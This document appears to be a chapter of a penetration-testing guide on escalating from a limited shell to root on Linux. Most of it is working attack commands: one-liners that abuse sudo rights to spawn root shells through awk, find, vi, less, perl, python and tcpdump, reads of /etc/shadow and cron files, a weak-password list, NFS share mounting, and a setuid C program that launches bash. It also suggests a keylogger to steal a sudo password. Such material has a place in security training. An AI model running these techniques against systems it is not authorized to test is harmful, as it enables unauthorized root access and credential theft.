Privilege Escalation

Once we have a limited shell it is useful to escalate that shells privileges. This way it will be easier to hide, read and write any files, and persist between reboots.

In this chapter I am going to go over these common Linux privilege escalation techniques:

- Kernel exploits
- Programs running as root
- Installed software
- Weak/reused/plaintext passwords
- Inside service
- Suid misconfiguration
- Abusing sudo-rights
- World writable scripts invoked by root
- Bad path configuration
- Cronjobs
- Unmounted filesystems

Enumeration scripts

I have used principally three scripts that are used to enumerate a machine. They are some difference between the scripts, but they output a lot of the same. So test them all out and see which one you like best.

LinEnum

https://github.com/rebootuser/LinEnum

Here are the options:

```
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
```

Unix privesc

http://pentestmonkey.net/tools/audit/unix-privesc-check
Run the script and save the output in a file, and then grep for warning in it.

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

Privilege Escalation Techniques

Kernel Exploits

By exploiting vulnerabilities in the Linux Kernel we can sometimes escalate our privileges. What we usually need to know to test if a kernel exploit works is the OS, architecture and kernel version.

Check the following:

OS:

Architecture:

Kernel version:

```
uname -a
cat /proc/version
cat /etc/issue
```

Search for exploits

```
site:exploit-db.com kernel version

python linprivchecker.py extended
```

Don't use kernel exploits if you can avoid it. If you use it it might crash the machine or put it in an unstable state. So kernel exploits should be the last resort. Always use a simpler priv-esc if you can. They can also produce a lot of stuff in the `sys.log` . So if you find anything good, put it up on your list and keep searching for other ways before exploiting it.

Programs running as root

The idea here is that if specific service is running as root and you can make that service execute commands you can execute commands as root. Look for webserver, database or anything else like that. A typical example of this is mysql, example is below.

Check which processes are running

```
# Metasploit
ps

# Linux
ps aux
```

Mysql

If you find that mysql is running as root and you username and password to log in to the database you can issue the following commands:

```
select sys_exec('whoami');
select sys_eval('whoami');
```

If neither of those work you can use a User Defined Function/

User Installed Software

Has the user installed some third party software that might be vulnerable? Check it out. If you find anything google it for exploits.

```
# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info
```

Weak/reused/plaintext passwords

- Check file where webserver connect to database (`config.php` or similar)
- Check databases for admin passwords that might be reused
- Check weak passwords

```
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
```

- Check plaintext password

```
# Anything interesting the the mail?
/var/spool/mail
```

```
./LinEnum.sh -t -k password
```

Service only available from inside

It might be that case that the user is running some service that is only available from that host. You can't connect to the service from the outside. It might be a development server, a database, or anything else. These services might be running as root, or they might have vulnerabilities in them. They might be even more

vulnerable since the developer or user might be thinking "since it is only accessible for the specific user we don't need to spend that much of security".

Check the netstat and compare it with the nmap-scan you did from the outside. Do you find more services available from the inside?

```
# Linux
netstat -anlp
netstat -ano
```

Suid and Guid Misconfiguration

When a binary with suid permission is run it is run as another user, and therefore with the other users privileges. It could be root, or just another user. If the suid-bit is set on a program that can spawn a shell or in another way be abuse we could use that to escalate our privileges.

For example, these are some programs that can be used to spawn a shell:

```
nmap
vim
less
more
```

If these programs have suid-bit set we can use them to escalate privileges too. For more of these and how to use the see the next section about abusing sudo-rights:

```
nano
cp
mv
find
```

Find suid and guid files

```
#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null
```

Abusing sudo-rights

If you have a limited shell that has access to some programs using `sudo` you might be able to escalate your privileges with. Any program that can write or overwrite can be used. For example, if you have sudo-rights to `cp` you can overwrite `/etc/shadow` or `/etc/sudoers` with your own malicious file.

`awk`

```
awk 'BEGIN {system("/bin/bash")}'
```

`bash`

`cp`
Copy and overwrite /etc/shadow

`find`

```
sudo find / -exec bash -i \;

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
```

`ht`

The text/binary-editor HT.

`less`

From less you can go into vi, and then into a shell.

```
sudo less /etc/shadow
v
:shell
```

`more`

You need to run more on a file that is bigger than your screen.

```
sudo more /home/pelle/myfile
!/bin/bash
```

`mv`

Overwrite `/etc/shadow` or `/etc/sudoers`

`man`

`nano`

`nc`

`nmap`

`python/perl/ruby/lua/etc`

```
sudo perl
exec "/bin/bash";
ctr-d
```

```
sudo python
import os
os.system("/bin/bash")
```

`sh`

`tcpdump`

```
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```

`vi/vim`

Can be abused like this:

```
sudo vi
:shell

:set shell=/bin/bash:shell
:!bash
```

How I got root with sudo/

World writable scripts invoked as root

If you find a script that is owned by root but is writable by anyone you can add your own malicious code in that script that will escalate your privileges when the script is run as root. It might be part of a cronjob, or otherwise automatized, or it might be run by hand by a sysadmin. You can also check scripts that are called by these scripts.

```
#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# World executable folder
find / -perm -o x -type d 2>/dev/null

# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
```

Bad path configuration

Putting `.` in the path
If you put a dot in your path you won't have to write `./binary` to be able to execute it. You will be able to execute any script or binary that is in the current directory.

Why do people/sysadmins do this? Because they are lazy and won't want to write `./.`

This explains it
https://hackmag.com/security/reach-the-root/
And here
http://www.dankalia.com/tutor/01005/0100501004.htm

Cronjob

With privileges running script that are editable for other users.

Look for anything that is owned by privileged user but writable for you:

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.

```
mount -l
cat /etc/fstab
```

NFS Share

If you find that a machine has a NFS share you might be able to use that to escalate privileges. Depending on how it is configured.

```
# First check if the target machine has any NFS shares
showmount -e 192.168.1.101

# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/
```

If that succeeds then you can go to `/tmp/share`. There might be some interesting stuff there. But even if there isn't you might be able to exploit it.

If you have write privileges you can create files. Test if you can create files, then check with your low-priv shell what user has created that file. If it says that it is the root-user that has created the file it is good news. Then you can create a file and set it with suid-permission from your attacking machine. And then execute it with your low privilege shell.

This code can be compiled and added to the share. Before executing it by your low-priv user make sure to set the suid-bit on it, like this:

```
chmod 4777 exploit
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    setuid(0);
    system("/bin/bash");
    return 0;
}
```

Steal password through a keylogger

If you have access to an account with sudo-rights but you don't have its password you can install a keylogger to get it.

Other useful stuff related to privesc

World writable directories

```
/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba
```

References

http://www.rebootuser.com/?p=1758

http://netsec.ws/?p=309

https://www.trustwave.com/Resources/SpiderLabs-Blog/My-5-Top-Ways-to-Escalate-Privileges/

Watch this video!
http://www.irongeek.com/i.php?page=videos/bsidesaugusta2016/its-too-funky-in-here04-linux-privilege-escalation-for-fun-profit-and-all-around-mischief-jake-williams

http://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections

https://www.rebootuser.com/?page_id=1721